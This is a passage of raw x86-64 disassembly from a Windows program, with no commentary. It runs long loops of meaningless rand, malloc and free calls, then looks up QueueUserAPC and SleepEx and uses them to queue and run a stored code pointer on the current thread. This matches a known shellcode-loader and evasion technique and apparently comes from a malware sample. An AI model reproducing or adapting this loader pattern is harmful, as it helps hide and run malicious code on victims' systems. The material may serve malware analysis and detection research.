jle 0x140002909
add dword [rbp + 0x868], 1
mov eax, dword [rbp + 0x868]
cmp eax, dword [rbp + 0x698]
jl 0x1400028fb
cmp dword [rbp + 0x69c], 2
jle 0x1400029b7
mov eax, dword [rbp + 0x860]
lea edx, [rax + 1]
mov dword [rbp + 0x860], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x868], 1
jmp 0x140002a1b
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002a14
mov eax, dword [rbp + 0x868]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x860]
lea edx, [rax + 1]
mov dword [rbp + 0x860], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x868], 1
mov eax, dword [rbp + 0x868]
cmp eax, dword [rbp + 0x698]
jl 0x1400029c3
mov dword [rbp + 0x68c], 2
mov dword [rbp + 0x85c], 0
mov dword [rbp + 0x868], 0
jmp 0x140002a77
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002a70
add dword [rbp + 0x85c], 1
add dword [rbp + 0x868], 1
mov eax, dword [rbp + 0x868]
cmp eax, dword [rbp + 0x68c]
jl 0x140002a49
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x874], 1
add dword [rbp + 0x87c], 1
cmp dword [rbp + 0x87c], 0x4eb
jle 0x1400027dc
mov ecx, 0x7c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov ecx, 0x7c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov ecx, 0x7c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov ecx, 0x7c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x854], 0x1f1
mov dword [rbp + 0x858], 0
jmp 0x140002c1b
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, dword [rbp + 0x858]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x854], 1
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x1f1
jle 0x140002b0f
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x708]
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x830]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x830]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov dword [rbp + 0x848], 0
mov ecx, 0x348
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x850], 0
jmp 0x140002d64
mov dword [rbp + 0x84c], 0
jmp 0x140002d54
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x7a44c6b
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x860
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x850]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x6a0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x84c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 9
jle 0x140002ced
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x14
jle 0x140002ce1
mov dword [rbp + 0x850], 0
jmp 0x140002deb
mov dword [rbp + 0x84c], 0
jmp 0x140002ddb
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x848]
mov eax, dword [rbp + 0x850]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
add rdx, rax
mov eax, dword [rbp + 0x84c]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x848], eax
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 9
jle 0x140002d89
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x14
jle 0x140002d7d
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6b8]
mov r9, qword [rbp + 0x6b0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x6a8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x844], 0x2e4
mov dword [rbp + 0x840], 0x8c
jmp 0x140002e70
mov eax, dword [rbp + 0x844]
cmp eax, dword [rbp + 0x840]
jle 0x140002e69
sub dword [rbp + 0x844], 1
jmp 0x140002e70
sub dword [rbp + 0x840], 1
cmp dword [rbp + 0x844], 0
jg 0x140002e52
mov eax, 0
movups xmm6, xmmword [rbp + 0x8b0]
add rsp, 0x948
pop rbx
pop rsi
pop rdi
pop rbp
ret